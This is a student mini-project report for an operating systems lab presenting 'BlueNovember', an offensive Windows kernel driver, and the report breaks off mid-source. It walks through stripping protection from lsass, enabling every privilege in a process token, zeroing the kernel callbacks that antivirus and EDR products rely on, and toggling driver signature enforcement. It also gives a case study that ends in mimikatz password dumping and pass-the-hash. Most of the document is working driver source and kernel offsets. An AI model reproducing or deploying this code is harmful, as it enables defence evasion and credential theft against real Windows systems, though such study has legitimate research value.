MANIPAL INSTITUTE OF TECHNOLOGY
MANIPAL
(A constituent unit of MAHE, Manipal)

Mini Project Report
of
Operating Systems Lab (CSE 3163)

BlueNovember

SUBMITTED
BY

Name - Swayam Tejas Padhy
Registration no - 210905091
Section - B
Roll no - 22

Department of Computer Science and Engineering
Manipal Institute of Technology, Manipal.

April 2023

MANIPAL INSTITUTE OF TECHNOLOGY
MANIPAL
(A constituent unit of MAHE, Manipal)

DEPARTMENT OF COMPUTER SCIENCE & ENGINEERING

Manipal

CERTIFICATE

This is to certify that the project titled **BlueNovember** is a record of the bonafide work done by **Student(s) (Reg. No. 210905091)** submitted in partial fulfilment of the requirements for the award of the Degree of Bachelor of Technology (B.Tech.) in COMPUTER SCIENCE & ENGINEERING of Manipal Institute of Technology, Manipal, Karnataka, (A Constituent Institute of Manipal Academy of Higher Education), during the academic year 2023-2024.

Name and Signature of Examiners:

1. **Ms Rajashree Krishna, Assistant Professor, CSE Dept.**

2. **Mr Aswath Rao B, Assistant Professor, CSE Dept.**

TABLE OF CONTENTS

Introduction

BlueNovember is an offensive driver created with the intent to evade kernel level security solutions such as anti-viruses and built-in protective measures such as kernel callbacks and process protection.

It can also be used to change process token privileges and enforce driver signatures.

This is based on a client - driver model. The client issues commands and the driver carries them out all the while returning the results.

The client is an userland program that interfaces with BlueNovember through a handle created using the **CreateFile** api. The transfer of data is done through an output buffer that stores the data of the processes and points it to **DeviceIoControl** api. The client then reads the data from the api.

There are currently 8 options implemented in BlueNovember -

1. **Protect processes : -pp <PID of processes>** This option will ensure kernel level protection for the processes with the given PIDs.

2. **Unprotect Process : -up <PID of processes>** This option will remove kernel level protection for the processes with the given PIDs.

3. **Grant all privilege : -t <PID of process>** This option will grant all privileges to the process with the given PID.

4. **Enumerate kernel callbacks : -l** This option will enumerate all kernel callbacks issued by the processes.

5. **Remove callbacks : -r <process no>** This option removes all kernel callbacks issued by the process given.

6. **Enumerate DSE : -ci** This option enumerates Driver signature enforcement(DSE) of the driver.

7. **Enable DSE : -ciE** This option enables DSE of the driver.

8. **Disable DSE : -ciD** This option disables DSE of the driver.

Objectives

- Create Persistence of an attacker in the system
- Change kernel protection of processes - i.e Add or remove protection
- Change privileges of processes
- Disable kernel callbacks
- Enforce driver signature

Example Case-Study

Lets assume a company named “Test corporation” has to do a security assessment on one of their internal networks. The network consists of some machines connected to a domain controller. One of the machines is connected to the internet through hosting a website. A pentester is given the task to infiltrate this network and get domain administrator access . So the pentester breaches into the machine connected to the web through web vulnerablilities such as LFI (local file inclusion) and a log poisoning attack. Then he gets local administrator access through privilege escalation. Now he injects BlueNovember into that devices’s kernel through driver process injection attacks. In order to run BlueNovember undetected , he puts -ciE command to the client program to enable DSE (driver signature enforcement) .Now he has kernel access ofthe machine. Next he starts mimikatz(tool to dump passwords in memory) and adds kernel protection to it using the -pp option. He also adds -r and -l option too to make the mimikatz process undetectable by anti-virus. Now mimikatz process has kernel level protection and can’t be removed unless given the -up command. In order to dump passwords, he gives -t option to mimikatz which grants it all privileges on the system. After that he gives -up command to lsass.exe (process which stores windows passwords in memory) to remove kernel level protection from it. Now that everything is ready , he types in sekurlsa::logonpasswords (command to dump logon passwords) in mimikatz. Every password hashes of users are dumped onto the terminal. Now the pentester can take these passwords and perform pass-the-hash or pass-the password attacks using crackmapexec or impacket-psexec to gain access to other systems. This process is repeated on other machines and eventually he gets access to the domain admin account on the domain controller.

Methodology

A driver's most typical use case is to allow an operating system to talk to a hardware device.A driver doesn't need to control hardware, and pure software drivers do also exist. The purpose of those will vary - one example of such a driver is anti-virus, where the driver is designed to help protect the computer against malicious actions.

The risks with Drivers - If a normal user-mode application crashes, the worst that happens is that it loses any unsaved data it had in its memory space. The operating system can step in, collect a crash report, and release any resources (CPU, memory, etc) that the application was consuming. Nothing else is impacted, the damage is "contained" to that process only.But because drivers operate in kernel mode, when they go wrong, they really go wrong. When a user-mode application closes, it's the

kernel that ensures any resources are freed. However, if we have memory leaks in a driver, the kernel will not clean those up for us. Any resources leaked by a driver cannot be freed until the system is rebooted.This will result in a **BSOD** or a system crash.

KPP (aka PatchGuard) is a feature present in Windows designed to protect the kernel against unauthorised modifications. It works by periodically checking structures that Microsoft deem sensitive and if a change is detected, it will trigger a bug check and crash the system.When using drivers to circumvent certain kernel-level protection, we are going to stamp over KPP-protected regions. One "weakness" of KPP is that because the checks are expensive (computationally), it's not constantly checking protected regions. This introduces a type of race condition where we can modify a protected region and change it back without KPP noticing.

Protected Processes were first introduced in Windows Vista - not for security, but DRM (Digital Rights Management). The idea was to allow media players to read Blu-rays, but not copy the content. It worked fundamentally by limiting the access you could obtain to a protected process, such as **PROCESS_QUERY_LIMITED_INFORMATION** or **PROCESS_TERMINATE**, but not **PROCESS_VM_READ** or anything else that would allow you to circumvent the DRM requirements.The impact of this is most notable when applied to **LSASS**. We cannot dump passwords from it, even when running as SYSTEM. We get access denied when trying to obtain a handle with enough privileges to query and read its memory. This is not an AV or EDR protection - simply the Windows kernel.Since Vista, Protected Processes have been expanded. Instead of it simply being on or off, there are now hierarchical levels. First - there are two possible types, **Protected Process (PP)** and **Protected Process Light (PPL)**. Second - there is also a **Signer**, which comes from the Extended Key Usage field of the digital signature used to sign the executable.

Because of these various moving parts, there is an order of protection precedence that the kernel considers. **PP always trumps PPL**. So a PPL can never obtain full access to a PP, regardless of its signer. A PP can gain full access to another PP or PPL if the signer is equal or greater, and a PPL can gain full access to another PPL if the signer is equal to or greater.

From the perspective of the kernel, the protection level of a process is stored in a struct called **EPROCESS** - an opaque structure that serves as the process object for a process. We can obtain a pointer to the **EPROCESS** struct for a process using **PsLookupProcessByProcessId**. But unfortunately, because the struct is opaque, we can't just access its members like eProcess->Protection. Instead, we have to use known offsets. The downside is that these offsets vary between different versions of Windows.

```
kd> dt nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x2d8 ProcessLock      : _EX_PUSH_LOCK
   +0x2e0 UniqueProcessId  : Ptr64 Void
   [...snip...]
   +0x6c8 SignatureLevel   : UChar
   +0x6c9 SectionSignatureLevel : UChar
   +0x6ca Protection       : _PS_PROTECTION
```

The protection level can be removed by masking the values of the struct with 0 and dereferencing **EPROCESS**.The Remarks section of the PsLookupProcessByProcessId documentation specifically says that the API increases the reference count on the object returned. If a kernel object still has references to it, then the associated resources cannot be freed once it's no longer in use. We therefore must call **ObDereferenceObject** to decrement the reference count.

```
// 0 the values
psProtection->SignatureLevel = 0;
psProtection->SectionSignatureLevel = 0;
psProtection->Protection.Type = 0;
psProtection->Protection.Signer = 0;

// dereference eProcess
ObDereferenceObject(eProcess);
```

In order to restore or grant protection level, the mask is removed from the struct values and EPROCESS is re-referenced.

```
psProtection->SignatureLevel = 30;
psProtection->SectionSignatureLevel = 28;
psProtection->Protection.Type = 2;
psProtection->Protection.Signer = 6;
```

Process privilege determines the type of operations that a process can perform. A process running in medium integrity has very few privileges available; whereas a process running in high integrity has more. Some privileges are Default Enabled, which means they are enabled by default whereas others are Disabled but are available, which means they can be enabled using the **AdjustTokenPrivileges API**. Take SeDebugPrivilege user privilege as an example. The high integrity process has it disabled but available (the **token::elevate** command in Mimikatz enables this privilege). The medium integrity process cannot enable it at all.
The token of a process is stored within its EPROCESS structure, under the Token attribute.

```
kd> dt nt!_EPROCESS
   +0x358 Token            :_EX_FAST_REF
```

EX_FAST_REF is a type of pointer which, in this case, points to a TOKEN structure. It's quite large, but the Privileges attribute is the one we're interested in.

```
kd> dt nt!_TOKEN
   +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES
```

_SEP_TOKEN_PRIVILEGES points to the privilege statuses of the process.

```
kd> dt nt!_SEP_TOKEN_PRIVILEGES
   +0x000 Present          : Uint8B
   +0x008 Enabled          : Uint8B
   +0x010 EnabledByDefault : Uint8B
```

The token structure's memory map of notepad.exe is shown below-

```
kd> !process ffffb60f81c4b2c0 1
PROCESS ffffb60f81c4b2c0
    SessionId: 2  Cid: 0d0c    Peb: afdd29e000  ParentCid: 0a60
    DirBase: 55f81000  ObjectTable: ffff870dbf75e240  HandleCount: 233.
    Image: notepad.exe
    VadRoot ffffb60f835d27c0 Vads 95 Clone 0 Private 555. Modified 1. Locked 0.
    DeviceMap ffff870dbbcf1130
    Token                             ffff870dbc150060
    ElapsedTime                       00:16:32.761
    UserTime                          00:00:00.000
    KernelTime                        00:00:00.000
    QuotaPoolUsage[PagedPool]         263616
    QuotaPoolUsage[NonPagedPool]      13440
    Working Set Sizes (now,min,max)  (4064, 50, 345) (16256KB, 200KB, 1380KB)
    PeakWorkingSetSize                3979
    VirtualSize                       2101418 Mb
    PeakVirtualSize                   2101424 Mb
    PageFaultCount                    4145
    MemoryPriority                    BACKGROUND
    BasePriority                      8
    CommitCharge                      643
```

Luckily, we don't have to do many manual calculations to find the relevant portion of process memory thanks to the **PsReferencePrimaryToken** API. It takes a pointer to an EPROCESS structure and returns a pointer to its TOKEN structure. It also increments the reference count on the object, so we have to remember to dereference it later with **PsDereferencePrimaryToken**.

To do the above , we create a pointer to a custom struct -

```
PPROCESS_PRIVILEGES tokenPrivs = (PPROCESS_PRIVILEGES) ((ULONG_PTR)pToken + PROCESS_PRIVILEGE_OFFSET[windowsVersion]);
```

```
typedef struct _PROCESS_PRIVILEGES
{
    UCHAR Present[8];
    UCHAR Enabled[8];
    UCHAR EnabledByDefault[8];
} PROCESS_PRIVILEGES, * PPROCESS_PRIVILEGES;
```

```
const ULONG PROCESS_PRIVILEGE_OFFSET[] =
{
    0x00,   // placeholder
    0x00,   // placeholder
    0x00,   // placeholder
    0x00,   // placeholder
    0x00,   // placeholder
    0x40,   // REDSTONE_5
    0x00,   // placeholder
    0x00,   // placeholder
    0x00,   // placeholder
    0x00,   // placeholder
    0x00,    // placeholder
    0x040    // 22H2
};
```

```
tokenPrivs->Present[0] = tokenPrivs->Enabled[0] = 0xff;
tokenPrivs->Present[1] = tokenPrivs->Enabled[1] = 0xff;
tokenPrivs->Present[2] = tokenPrivs->Enabled[2] = 0xff;
tokenPrivs->Present[3] = tokenPrivs->Enabled[3] = 0xff;
tokenPrivs->Present[4] = tokenPrivs->Enabled[4] = 0xff;
```

This enables all privileges for the specified process.

Kernel callbacks provide a way for drivers to receive a notification when certain events occur. These are used rather extensively by AV, EDR and system monitoring applications. The more relevant ones from an attack/defence perspective are:

- **ProcessNotify** - called when a process is created or exits. Useful for preventing the process from starting outright, or to inject a userland DLL (that can perform tasks such as API hooking) before control of the process is returned to the caller.

- **ThreadNotify** - called when a new thread is created or deleted. Useful for detecting/preventing some process injection techniques by looking for threads being created from one process to another.

- **LoadImageNotify** - called when a new DLL is mapped into memory. Useful for detecting/preventing suspicious image loads, such as the CLR being loaded into a native process, or modules synonymous with tools such as Mimikatz.

Thus it becomes of utmost importance to disable kernel callbacks of our processes in order to remain undetected and maintain persistance on the system.

When a driver registers a **ProcessNotify** callback, it gets stored inside an in-memory array called **PspCreateProcessNotifyRoutine**. Each callback has it's own version (e.g. PspCreateThreadNotifyRoutine for PsSetCreateThreadNotifyRoutine). These arrays have a maximum size of 64 and each index contains a pointer to a callback function. In all likelihood, these callbacks exist inside the module that registered it.

Unfortunately, there's no native API to get a pointer to these arrays. Instead, we have to find them in memory using WinDbg and calculate an offset from something that we can look up dynamically at runtime. As with the process protection offset in EPROCESS, these will be different across different Windows versions.

We can start by looking at the actual **PsSetCreateProcessNotifyRoutine** function.

```
kd> u nt!PsSetCreateProcessNotifyRoutine
nt!PsSetCreateProcessNotifyRoutine:
fffff801`49939420 4883ec28        sub     rsp,28h
fffff801`49939424 8ac2            mov     al,dl
fffff801`49939426 33d2            xor     edx,edx
fffff801`49939428 84c0            test    al,al
fffff801`4993942a 0f95c2          setne   dl
fffff801`4993942d e80e010000      call    nt!PspSetCreateProcessNotifyRoutine (fffff801`49939540)
fffff801`49939432 4883c428        add     rsp,28h
fffff801`49939436 c3              ret
nt!PspSetCreateProcessNotifyRoutine+0x62:
fffff805`47b90c5a 4c8d2d3fb65500  lea     r13,[nt!PspCreateProcessNotifyRoutine (fffff805`480ec2a0)]
fffff805`47b90c61 488d0cdd00000000 lea     rcx,[rbx*8]
fffff805`47b90c69 4533c0          xor     r8d,r8d
fffff805`47b90c6c 4903cd          add     rcx,r13
fffff805`47b90c6f 488bd7          mov     rdx,rdi
fffff805`47b90c72 e8d5d5c1ff      call    nt!ExCompareExchangeCallBack (fffff805`477ae24c)
fffff805`47b90c77 84c0            test    al,al
fffff805`47b90c79 750c            jne     nt!PspSetCreateProcessNotifyRoutine+0x8f (fffff805`47b90c87)
```

After unassembling the above function, we can see the first **LEA** instruction. LEA is short for **Load Effective Address**.
This instruction is moving the address of the PspCreateProcessNotifyRoutine array into the R13 CPU register. Different versions of windows may use different registers.

```
0: kd> dqs fffff805`480ec2a0
fffff805`480ec2a0  ffffa00f`ca6502af
fffff805`480ec2a8  ffffa00f`ca7f993f
fffff805`480ec2b0  ffffa00f`cadd2f9f
fffff805`480ec2b8  ffffa00f`cadd2e1f
fffff805`480ec2c0  ffffa00f`caecd27f
fffff805`480ec2c8  ffffa00f`caf6d40f
fffff805`480ec2d0  ffffa00f`cd1fe4af
fffff805`480ec2d8  ffffa00f`caf6ddcf
fffff805`480ec2e0  ffffa00f`d06f3abf
fffff805`480ec2e8  00000000`00000000
fffff805`480ec2f0  00000000`00000000
fffff805`480ec2f8  00000000`00000000
fffff805`480ec300  00000000`00000000
fffff805`480ec308  00000000`00000000
fffff805`480ec310  00000000`00000000
fffff805`480ec318  00000000`00000000
```

We can now see the array in memory.Now that we can reliably find the location of the **ProcessNotifyCallback** array, we want to enumerate some information about the registered callbacks, such as which driver they belong to. There's no easy way to achieve this either. The **AuxKlibQueryModuleInformation** API can be used to get the base address, image size and name of each loaded module. Based on that, we can figure out which module a particular callback function exists in by looking to see if the address exists within the address range of a module.
The same process is done for both **PsSetCreateThreadNotifyRoutine** and **PsSetLoadImageNotifyRoutine .**

The main tactics we can employ to disable a given callback is to simply zero out the entry in the corresponding callback array.

```
if (stack->Parameters.DeviceIoControl.InputBufferLength < sizeof(TargetCallback))
{
		status = STATUS_BUFFER_TOO_SMALL;
		DbgPrint("[!] STATUS_BUFFER_TOO_SMALL\n");
		break;
}

TargetCallback* target = (TargetCallback*)stack->Parameters.DeviceIoControl.Type3InputBuffer;
if (target == nullptr)
{
		status = STATUS_INVALID_PARAMETER;
		DbgPrint("[!] STATUS_INVALID_PARAMETER\n");
		break;
}
// sanity check valueif (target->Index < 0 || target->Index > 64)
{
		status = STATUS_INVALID_PARAMETER;
		DbgPrint("[!] STATUS_INVALID_PARAMETER\n");
		break;
}

ULONG64 pspSetCreateProcessNotify = FindPspSetCreateProcessNotify(windowsVersion);
// iterate over until we hit target indexfor (LONG i = 0; i < 64; i++)
{
		if (i == target->Index)
		{
			// correct index found
		}
}
```

We now have the target address and need to assign zero to it.

```
if (i == target->Index)
{
		ULONG64 pCallback = pspSetCreateProcessNotify + (i * 8);
		*(PULONG64)(pCallback) = (ULONG64)0;

		break;
}
```

Now the callbacks for the provided process are removed.

Since version 10 1607, Windows will not load a kernel-mode driver unless it's signed via the Microsoft Dev Portal. For developers, this first means obtaining an extended validation (EV) code signing certificate from a provider such as DigiCert, GlobalSign, and others. They must then apply to join the Windows Hardware Dev Center program by submitting their EV cert and going through a further vetting process. Assuming they get accepted, a driver needs to be signed by the developer with their EV cert and uploaded to the Dev Portal to be approved and signed by Microsoft.

This fairly rigorous process is to protect Windows from malicious and/or unstable code running in the kernel.

This protection can of course be disabled by turning on test signing mode, as we've done with our test VM. The actual configuration is stored in the boot options and protected with secure boot. When Windows starts, it will read the boot configuration and set a flag in kernel-memory which is checked on future driver-load events.

The memory region in question is called g_CiOptions

```
kd> dw CI!g_CiOptions L1
fffff804`32b2ad18  000e
```

The default value for these CiOptions is **4|2**. That's a literal 4 OR 2, which is 6 in hex. If **DISABLE_INTEGRITY_CHECKS** has been set, CiOptions becomes 0. If **TESTSIGNING is enabled**, the default **CiOptions are OR'd with 8**. 4|2|8 is E in hex.

This single bit controls DSE at runtime. The other bits control different aspects of the code integrity policy, such as debug flags. If we can change this memory bit from 6 to E, we can effectively bypass DSE and load an unsigned driver. However, this does represent a bit of a duct-taped solution. Since only existing kernel modules can modify this memory, requiring a driver to disable DSE to load another driver seems like a non-starter.The most viable way to achieve this is with a legitimately signed driver that has a known vulnerability, such as a **CVE-2018-10320** for gigabyte drivers**.**

Source Code And Results

WindowsVersions.h -

```
#pragma once

typedef enum _WINDOWS_VERSION
{
	WINDOWS_UNSUPPORTED,
```

```
        WINDOWS_REDSTONE_1,             // 14393,
        WINDOWS_REDSTONE_2,             // 15063,
        WINDOWS_REDSTONE_3,             // 16299,
        WINDOWS_REDSTONE_4,             // 17134,
        WINDOWS_REDSTONE_5,             // 17763
        WINDOWS_19H1,                   // 18362
        WINDOWS_19H2,               // 18363
        WINDOWS_20H1,               // 19041
        WINDOWS_20H2,               // 19042
        WINDOWS_21H1,               // 19043
        WINDOWS_21H2,               // 19044
        WINDOWS_22H2        // 19045
} WINDOWS_VERSION, * PWINDOWS_VERSION;
```

Processes.h -

```
#pragma once

typedef struct _PS_PROTECTION
{
   UCHAR Type : 3;
   UCHAR Audit : 1;
   UCHAR Signer : 4;
} PS_PROTECTION, * PPS_PROTECTION;

typedef struct _PROCESS_PROTECTION_INFO
{
   UCHAR SignatureLevel;
   UCHAR SectionSignatureLevel;
   PS_PROTECTION Protection;
} PROCESS_PROTECTION_INFO, * PPROCESS_PROTECTION_INFO;

typedef struct _PROCESS_PRIVILEGES
{
   UCHAR Present[8];
   UCHAR Enabled[8];
   UCHAR EnabledByDefault[8];
} PROCESS_PRIVILEGES, * PPROCESS_PRIVILEGES;

const ULONG PROCESS_PRIVILEGE_OFFSET[] =
{
   0x00,   // placeholder
   0x00,   // placeholder
   0x00,   // placeholder
   0x00,   // placeholder
   0x00,   // placeholder
```

```
    0x40,   // REDSTONE_5
    0x00,   // placeholder
    0x00,   // placeholder
    0x00,   // placeholder
    0x00,   // placeholder
    0x00,    // placeholder
    0x040    // 22H2
};

const ULONG PROCESS_PROTECTION_OFFSET[] =
{
    0x00,   // placeholder
    0x00,   // placeholder
    0x00,   // placeholder
    0x00,   // placeholder
    0x00,   // placeholder
    0x6c8,  // REDSTONE_5
    0x00,   // placeholder
    0x00,   // placeholder
    0x00,   // placeholder
    0x00,   // placeholder
    0x00,   // placeholder
    0x878    // 22H2
};

const UCHAR OPCODE_CALL = 0xE8;
const UCHAR OPCODE_JMP = 0xE9;
const UCHAR OPCODE_LEA = 0x8D;

const UCHAR PSP_OPCODE[] =
{
    0x00,           // placeholder
    0x00,           // placeholder
    0x00,           // placeholder
    0x00,           // placeholder
    0x00,           // placeholder
    OPCODE_CALL,    // REDSTONE_5
    0x00,           // placeholder
    0x00,           // placeholder
    0x00,           // placeholder
    0x00,           // placeholder
    OPCODE_JMP,     // placeholder
    OPCODE_LEA      // 22H2
};

const ULONG PROCESS_NOTIFY_LEA[] =
```

```
{
   0x00,   // placeholder
   0x00,   // placeholder
   0x00,   // placeholder
   0x00,   // placeholder
   0x00,   // placeholder
   0xe8,   // REDSTONE_5
   0xe9,   // placeholder
   0x00,   // placeholder
   0x00,   // placeholder
   0x00,   // placeholder
   0x00,   // placeholder
   0x8D    // 22H2
};
```

IOCTLs.h -

```
#pragma once

#define BLUE_NOVEMBER_TAG               'BEEF'
#define BLUE_NOVEMBER_DEVICE  0x8000

#define BLUE_NOVEMBER_UNPROTECT_PROCESS
       CTL_CODE(BLUE_NOVEMBER_DEVICE, 0x800, METHOD_NEITHER,
FILE_ANY_ACCESS)
#define BLUE_NOVEMBER_PROTECT_PROCESS
       CTL_CODE(BLUE_NOVEMBER_DEVICE, 0x801, METHOD_NEITHER,
FILE_ANY_ACCESS)
#define BLUE_NOVEMBER_PROCESS_PRIVILEGE
       CTL_CODE(BLUE_NOVEMBER_DEVICE, 0x802, METHOD_NEITHER,
FILE_ANY_ACCESS)

#define BLUE_NOVEMBER_ENUM_PROCESS_CALLBACKS
       CTL_CODE(BLUE_NOVEMBER_DEVICE, 0x810, METHOD_NEITHER,
FILE_ANY_ACCESS)
#define BLUE_NOVEMBER_ZERO_PROCESS_CALLBACK
       CTL_CODE(BLUE_NOVEMBER_DEVICE, 0x811, METHOD_NEITHER,
FILE_ANY_ACCESS)
#define BLUE_NOVEMBER_ADD_PROCESS_CALLBACK
       CTL_CODE(BLUE_NOVEMBER_DEVICE, 0x812, METHOD_NEITHER,
FILE_ANY_ACCESS)

#define BLUE_NOVEMBER_ENUM_DSE
       CTL_CODE(BLUE_NOVEMBER_DEVICE, 0x820, METHOD_NEITHER,
FILE_ANY_ACCESS)
```

```
#define BLUE_NOVEMBER_DISABLE_DSE
	CTL_CODE(BLUE_NOVEMBER_DEVICE, 0x821, METHOD_NEITHER,
FILE_ANY_ACCESS)
#define BLUE_NOVEMBER_ENABLE_DSE
	CTL_CODE(BLUE_NOVEMBER_DEVICE, 0x822, METHOD_NEITHER,
FILE_ANY_ACCESS)
```

Common.h -

```
#pragma once

struct TargetProcess
{
   int ProcessId;
};

struct TargetCallback
{
   int Index;
};

struct NewCallback
{
   int Index;
   ULONG64 Pointer;
};

struct DSE
{
   ULONG64 Address;
};

typedef struct _CALLBACK_INFORMATION
{
   CHAR   ModuleName[256];
   ULONG64 Pointer;
} CALLBACK_INFORMATION, * PCALLBACK_INFORMATION;
```

Winternal.h -

```
#pragma once

typedef enum _SYSTEM_INFORMATION_CLASS
{
	SystemModuleInformation = 11,
} SYSTEM_INFORMATION_CLASS, * PSYSTEM_INFORMATION_CLASS;
```

```
typedef struct _SYSTEM_MODULE {
	PVOID   Unknown1;
	PVOID   Unknown2;
	PVOID   Base;
	ULONG   Size;
	ULONG   Flags;
	USHORT  Index;
	USHORT  NameLength;
	USHORT  LoadCount;
	USHORT  PathLength;
	CHAR    ImageName[256];
} SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct _SYSTEM_MODULE_INFORMATION
{
	ULONG              ModulesCount;
	SYSTEM_MODULE      Modules[0];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

typedef
NTSTATUS(WINAPI* _NtQuerySystemInformation)(
	SYSTEM_INFORMATION_CLASS SystemInformationClass,
	PVOID SystemInformation,
	ULONG SystemInformationLength,
	PULONG ReturnLength);
```

Main.cpp -

```
#include <ntifs.h>
#include <ntddk.h>
#include <aux_klib.h>

#include "IOCTLs.h"
#include "Common.h"
#include "Processes.h"
#include "WindowsVersions.h"
#pragma warning(disable: 4996)

void DriverCleanup(PDRIVER_OBJECT DriverObject);
NTSTATUS CreateClose(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp);
NTSTATUS DeviceControl(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp);

WINDOWS_VERSION GetWindowsVersion();
```

```
ULONG64 FindPspSetCreateProcessNotify(WINDOWS_VERSION
WindowsVersion);
void SearchLoadedModules(CALLBACK_INFORMATION* ModuleInfo);

UNICODE_STRING deviceName =
RTL_CONSTANT_STRING(L"\\Device\\BlueNovember");
UNICODE_STRING symlink = RTL_CONSTANT_STRING(L"\\??\\BlueNovember");

extern "C"
NTSTATUS
DriverEntry(
	_In_ PDRIVER_OBJECT DriverObject,
	_In_ PUNICODE_STRING RegistryPath)
{
	UNREFERENCED_PARAMETER(RegistryPath);

	DriverObject->DriverUnload = DriverCleanup;

	DriverObject->MajorFunction[IRP_MJ_CREATE] = CreateClose;
	DriverObject->MajorFunction[IRP_MJ_CLOSE] = CreateClose;
	DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] =
DeviceControl;

	PDEVICE_OBJECT deviceObject;
	NTSTATUS status = IoCreateDevice(
		DriverObject,
		0,
		&deviceName,
		FILE_DEVICE_UNKNOWN,
		0,
		FALSE,
		&deviceObject
	);

	if (!NT_SUCCESS(status))
	{
		KdPrint(("[!] Failed to create Device Object (0x%08X)\n", status));
		return status;
	}

	status = IoCreateSymbolicLink(&symlink, &deviceName);

	if (!NT_SUCCESS(status))
	{
		KdPrint(("[!] Failed to create symlink (0x%08X)\n", status));
		IoDeleteDevice(deviceObject);
```

```
		return status;
	}

	return STATUS_SUCCESS;
}

NTSTATUS
DeviceControl(
	_In_ PDEVICE_OBJECT DeviceObject,
	_In_ PIRP Irp)
{
	UNREFERENCED_PARAMETER(DeviceObject);

	NTSTATUS status = STATUS_SUCCESS;
	ULONG_PTR length = 0;

	// check Windows version
	WINDOWS_VERSION windowsVersion = GetWindowsVersion();

	if (windowsVersion == WINDOWS_UNSUPPORTED)
	{
		status = STATUS_NOT_SUPPORTED;
		KdPrint(("[!] Windows Version Unsupported\n"));

		Irp->IoStatus.Status = status;
		Irp->IoStatus.Information = length;

		IoCompleteRequest(Irp, IO_NO_INCREMENT);

		return status;
	}
	PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);

	switch (stack->Parameters.DeviceIoControl.IoControlCode)
	{
	case BLUE_NOVEMBER_UNPROTECT_PROCESS:
	{
		if (stack->Parameters.DeviceIoControl.InputBufferLength <
sizeof(TargetProcess))
		{
			status = STATUS_BUFFER_TOO_SMALL;
			KdPrint(("[!] STATUS_BUFFER_TOO_SMALL\n"));
			break;
		}
```

```
		TargetProcess* target = (TargetProcess*)stack->Parameters.DeviceIoControl.Type3InputBuffer;

		if (target == nullptr)
		{
			status = STATUS_INVALID_PARAMETER;
			KdPrint(("[!] STATUS_INVALID_PARAMETER\n"));
			break;
		}

		// dt nt!_EPROCESS
		PEPROCESS eProcess = NULL;
		status = PsLookupProcessByProcessId((HANDLE)target->ProcessId, &eProcess);

		if (!NT_SUCCESS(status))
		{
			KdPrint(("[!] PsLookupProcessByProcessId failed (0x%08X)\n", status));
			break;
		}

		KdPrint(("[+] Got EPROCESS for PID %d (0x%08p)\n", target->ProcessId, eProcess));

		PROCESS_PROTECTION_INFO* psProtection = (PROCESS_PROTECTION_INFO*)(((ULONG_PTR)eProcess) + PROCESS_PROTECTION_OFFSET[windowsVersion]);

		if (psProtection == nullptr)
		{
			status = STATUS_INVALID_PARAMETER;
			KdPrint(("[!] Failed to read PROCESS_PROTECTION_INFO\n"));
			break;
		}

		KdPrint(("[+] Removing Process Protection for PID %d\n", target->ProcessId));

		// null the values
		psProtection->SignatureLevel = 0;
		psProtection->SectionSignatureLevel = 0;
		psProtection->Protection.Type = 0;
		psProtection->Protection.Signer = 0;
```

```
			// dereference eProcess
			ObDereferenceObject(eProcess);

			break;
		}
		case BLUE_NOVEMBER_PROTECT_PROCESS:
		{
			if (stack->Parameters.DeviceIoControl.InputBufferLength <
sizeof(TargetProcess))
			{
				status = STATUS_BUFFER_TOO_SMALL;
				KdPrint(("[!] STATUS_BUFFER_TOO_SMALL\n"));
				break;
			}

			TargetProcess* target = (TargetProcess*)stack-
>Parameters.DeviceIoControl.Type3InputBuffer;

			if (target == nullptr)
			{
				status = STATUS_INVALID_PARAMETER;
				KdPrint(("[!] STATUS_INVALID_PARAMETER\n"));
				break;
			}

			// dt nt!_EPROCESS
			PEPROCESS eProcess = NULL;
			status = PsLookupProcessByProcessId((HANDLE)target-
>ProcessId, &eProcess);

			if (!NT_SUCCESS(status))
			{
				KdPrint(("[!] PsLookupProcessByProcessId failed
(0x%08X)\n", status));
				break;
			}

			KdPrint(("[+] Got EPROCESS for PID %d (0x%08p)\n", target-
>ProcessId, eProcess));

			PROCESS_PROTECTION_INFO* psProtection =
(PROCESS_PROTECTION_INFO*)(((ULONG_PTR)eProcess) +
PROCESS_PROTECTION_OFFSET[windowsVersion]);

			if (psProtection == nullptr)
			{
```

```
                status = STATUS_INVALID_PARAMETER;
                KdPrint(("[!] Failed to read
PROCESS_PROTECTION_INFO\n"));
                ObDereferenceObject(eProcess);
                break;
            }

            KdPrint(("[+] Setting Process Protection for PID %d\n", target-
>ProcessId));

            // set the values
            psProtection->SignatureLevel = 30;
            psProtection->SectionSignatureLevel = 28;
            psProtection->Protection.Type = 2;
            psProtection->Protection.Signer = 6;

            // dereference eProcess
            ObDereferenceObject(eProcess);

            break;
        }
        case BLUE_NOVEMBER_PROCESS_PRIVILEGE:
        {
            if (stack->Parameters.DeviceIoControl.InputBufferLength <
sizeof(TargetProcess))
            {
                status = STATUS_BUFFER_TOO_SMALL;
                KdPrint(("[!] STATUS_BUFFER_TOO_SMALL\n"));
                break;
            }

            TargetProcess* target = (TargetProcess*)stack-
>Parameters.DeviceIoControl.Type3InputBuffer;

            if (target == nullptr)
            {
                status = STATUS_INVALID_PARAMETER;
                KdPrint(("[!] STATUS_INVALID_PARAMETER\n"));
                break;
            }

            // dt nt!_EPROCESS
            PEPROCESS eProcess = NULL;
            status = PsLookupProcessByProcessId((HANDLE)target-
>ProcessId, &eProcess);
```

```
		// dt nt!_TOKEN
		PACCESS_TOKEN pToken = PsReferencePrimaryToken(eProcess);
		PPROCESS_PRIVILEGES tokenPrivs =
(PPROCESS_PRIVILEGES)((ULONG_PTR)pToken +
PROCESS_PRIVILEGE_OFFSET[windowsVersion]);

		// yolo enable all the things
		tokenPrivs->Present[0] = tokenPrivs->Enabled[0] = 0xff;
		tokenPrivs->Present[1] = tokenPrivs->Enabled[1] = 0xff;
		tokenPrivs->Present[2] = tokenPrivs->Enabled[2] = 0xff;
		tokenPrivs->Present[3] = tokenPrivs->Enabled[3] = 0xff;
		tokenPrivs->Present[4] = tokenPrivs->Enabled[4] = 0xff;

		PsDereferencePrimaryToken(pToken);
		ObDereferenceObject(eProcess);

		break;
	}
	case BLUE_NOVEMBER_ENUM_PROCESS_CALLBACKS:
	{
		ULONG szBuffer = sizeof(CALLBACK_INFORMATION) * 64;

